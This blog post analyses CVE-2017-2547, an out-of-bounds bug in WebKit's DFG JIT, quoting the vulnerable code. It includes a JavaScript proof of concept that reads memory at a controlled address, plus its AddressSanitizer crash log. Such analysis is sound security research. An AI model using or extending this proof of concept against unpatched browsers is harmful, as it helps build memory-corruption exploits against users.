Analysis of an Out-0f-Bounds Webkit JIT bug in the Safari Browser (CVE-2017-2547)

Browsers have been one of the most effective attack vectors from an offensive point of view. In most cases, a browser serves as good entry point to a chain of exploits that lead to full system compromise due to their nature of single clicks.

This blog post will focus on the basics of JIT Bugs and why they are critical using CVE-2017-2547,a winning Pwn2Own safari bug, as a case study. This specific bug is very interesting since it can be used to achieve both an info-leak and act as a write primitive.

Introduction to Webkit Javasacript engine

The webkit Javascript engine uses a four-tier strategy to optimize Javascript name:
i) The LLInt (Low Level Interpreter) -> Handles the first function excution. Handles statement execution between 1 to 100 times or function been called 1 to 6 times respective of which comes first.
ii) Baseline JIT -> Handles statement execution between 101 to 1000 times or function been called 7 to 66 times respective of which comes first.
iii) DFG JIT (Data Flow Graph JIT) -> Handles statement execution between 1001 to 100000 times or function been called more than 66 times respective of which comes first.
iv) FTL JIT (Faster Than Light JIT) -> Handles statement execution between above 100000 times.

Later in 2016 B3 JIT was added but won't be discussed at the moment.

The boundary used above is made possible by a technique called on-stack replacement (OSR). OSR makes it possible to deconstruct bytecode state at bytecode instruction boundaries.As a result, OSR is useful for being able switch engines in the middle of execution.

Understanding the bug

When using arrays it is important for JIT engines to determine the bounds else if there is a problem in doing the above it ends up leading to a out of bound bugs. This in most cases results to reading out some data and the result may be crucial if the data is trivial.

In order to achieve the above, the JIT engine will try get the various bounds and try them so as it can determine the minimum and maximum bounds. The code below shows how the DFG JIT try to determine the minimum and maximum bounds.

DFGIntegerCheckCombiningPhase.cpp Line 247

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
case ArrayBounds: {
Node* minNode;
Node* maxNode;
if (!data.m_key.m_source) {
minNode = 0;
maxNode = m_insertionSet.insertConstant(
nodeIndex, maxOrigin, jsNumber(range.m_maxBound));
} else {
minNode = insertAdd(
nodeIndex, minOrigin, data.m_key.m_source, range.m_minBound,
Arith::Unchecked);
maxNode = insertAdd(
nodeIndex, maxOrigin, data.m_key.m_source, range.m_maxBound,
Arith::Unchecked);
}
if (minNode) {
m_insertionSet.insertNode(
nodeIndex, SpecNone, CheckInBounds, node->origin,
Edge(minNode, Int32Use), Edge(data.m_key.m_key, Int32Use));
}
m_insertionSet.insertNode(
nodeIndex, SpecNone, CheckInBounds, node->origin,
Edge(maxNode, Int32Use), Edge(data.m_key.m_key, Int32Use));
break;
}
default:
RELEASE_ASSERT_NOT_REACHED();
}
m_changed = true;
m_map[data.m_key].m_hoisted = true;
}

An intersting question comes up when thinking of this logic. How does DFG JIT handle very high bounds?

1
2
3
4
5
6
7
//This loop is reached if we have no more keys to read.
if (!data.m_key.m_source) {
minNode = 0; ---> set minimum node to Zero
maxNode = m_insertionSet.insertConstant(
nodeIndex, maxOrigin, jsNumber(range.m_maxBound)); --> take the maximum bond and save it.
}

Taking a careful look at the above it is evident that even when the source can’t be read, the very high bound value is used as the maximum bound. This would surely lead to an Out of Bound read when triggered.

Triggering the bug

To trigger the above bug we must meet the following conditions
i) We need to have two arrays the first one with target address eg 0x414141414140 and the second one with a string array respectievly.
ii) Trigger DFG JIT to be used -> To achieve this we must call a function more than 66 times or statement more than 1000 - 100000 times.
iii) We need to have two arrays the first one with target address eg 0x414141414140 and the second one with a string array respectievly.
iii) To enter in this if statement we need to ensure that we have a negative bound in the range of the array (which means m_source will be null and range.m_minBound will be less that zero). In addition, this will end up trying to read contents of the first array.

Below is the POC
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
function enterDFGJIT() {
// emphasize call DFG JIT for loop optimization since this function will be called 100000 which is the threeshold for DFG JIT
for (var i = 0; i < 2000; ++i) {
// arr is an array of type string but here DFG JIT will try it out as an Integer array due context it is used in.
arr[0] - arr[1]; // can be substituted with any other statement eg print("DFG JIT called").
}
/** iii) At this point operation operationValueAdd is perfomed and DFG JIT assumes that arr is a String array since arr[-3] is undefined hence it will do a string concatination this can be seen in function jsAdd in jsc
if (!data.m_key.m_source) { ---> check if source exists
if (range.m_minBound < 0) ---> minimum bound in range is less that 0
minNode = 0; ----> set minNode to 0
maxNode = m_insertionSet.insertConstant(
nodeIndex, maxOrigin, jsNumber(range.m_maxBound)); ----> set maxnode as the highest bound value in range
**/
return (arr[-3] + arr[2]); // this will try read arr1[3]
}
// when DFG JIT meets the next node ie the next array it will use the same optimization assumptions it made in the previous node which means that it will try to read data at index 3.5448480588962e-310( 0x414141414140)
i) // Create two arrays
var arr1 = [
3.5448480588962e-310,
3.5448480588962e-310,
3.5448480588962e-310,
3.5448480588962e-310
];
var arr = [
'0',
'1',
'2',
'3',
];
// ii) Create a big Loop so a we can enter DFG JIT
for (var i = 0; i < 50000; ++i) {
enterDFGJIT();
}
The POC Results
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
ASAN:DEADLYSIGNAL
=================================================================
==10666==ERROR: AddressSanitizer: SEGV on unknown address 0x414141414145 (pc 0x000111b3d5fc bp 0x7fff5044afe0 sp 0x7fff5044afc0 T0)
==10666==The signal is caused by a READ memory access.
#0 0x111b3d5fb in JSC::JSCell::isString() const JSCellInlines.h:193
#1 0x111aff84d in JSC::JSValue::isString() const JSCJSValueInlines.h:579
#2 0x11467bc6d in JSC::jsAdd(JSC::ExecState*, JSC::JSValue, JSC::JSValue) Operations.h:252
#3 0x114679026 in JSC::unprofiledAdd(JSC::ExecState*, long long, long long) JITOperations.cpp:2370
#4 0x114678d04 in operationValueAdd JITOperations.cpp:2390
#5 0x73279dcff44 (<unknown module>)
#6 0x111adb21b in llint_entry LowLevelInterpreter.asm:850
#7 0x111ad2f96 in vmEntryToJavaScript LowLevelInterpreter64.asm:266
#8 0x114600668 in JSC::JITCode::execute(JSC::VM*, JSC::ProtoCallFrame*) JITCode.cpp:81
#9 0x1144b2546 in JSC::Interpreter::executeProgram(JSC::SourceCode const&, JSC::ExecState*, JSC::JSObject*) Interpreter.cpp:969
#10 0x114cafc4f in JSC::evaluate(JSC::ExecState*, JSC::SourceCode const&, JSC::JSValue, WTF::NakedPtr<JSC::Exception>&) Completion.cpp:103
#11 0x10f86879f in runWithOptions(GlobalObject*, CommandLine&) jsc.cpp:2326
#12 0x10f800709 in jscmain(int, char**)::$_3::operator()(JSC::VM&, GlobalObject*) const jsc.cpp:2729
#13 0x10f7bd7da in int runJSC<jscmain(int, char**)::$_3>(CommandLine, bool, jscmain(int, char**)::$_3 const&) jsc.cpp:2631
#14 0x10f7b9fe3 in jscmain(int, char**) jsc.cpp:2726
#15 0x10f7b9dad in main jsc.cpp:2158
#16 0x7fffbccc1234 in start (libdyld.dylib:x86_64+0x5234)
==10666==Register values:
rax = 0x0000414141414145 rbx = 0x00007fff5044b100 rcx = 0x0000182828282828 rdx = 0x00001fffea089600
rdi = 0x0000414141414145 rsi = 0x00001fffea089610 rbp = 0x00007fff5044afe0 rsp = 0x00007fff5044afc0
r8 = 0x0000000115e89756 r9 = 0x00007fff5044b040 r10 = 0x00007fff5044b060 r11 = 0x00007fff5044b080
r12 = 0x00007fff5044b0e0 r13 = 0x00007fff5044b2f0 r14 = 0x00007fff5044b0a0 r15 = 0x00007fff5044b0c0
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV JSCellInlines.h:193 in JSC::JSCell::isString() const
==10666==ABORTING

WOOOOT!!!

Credits

WanderingGlitch for his amazing support and guidance in helping me understand Webkit Just In Time Optimization.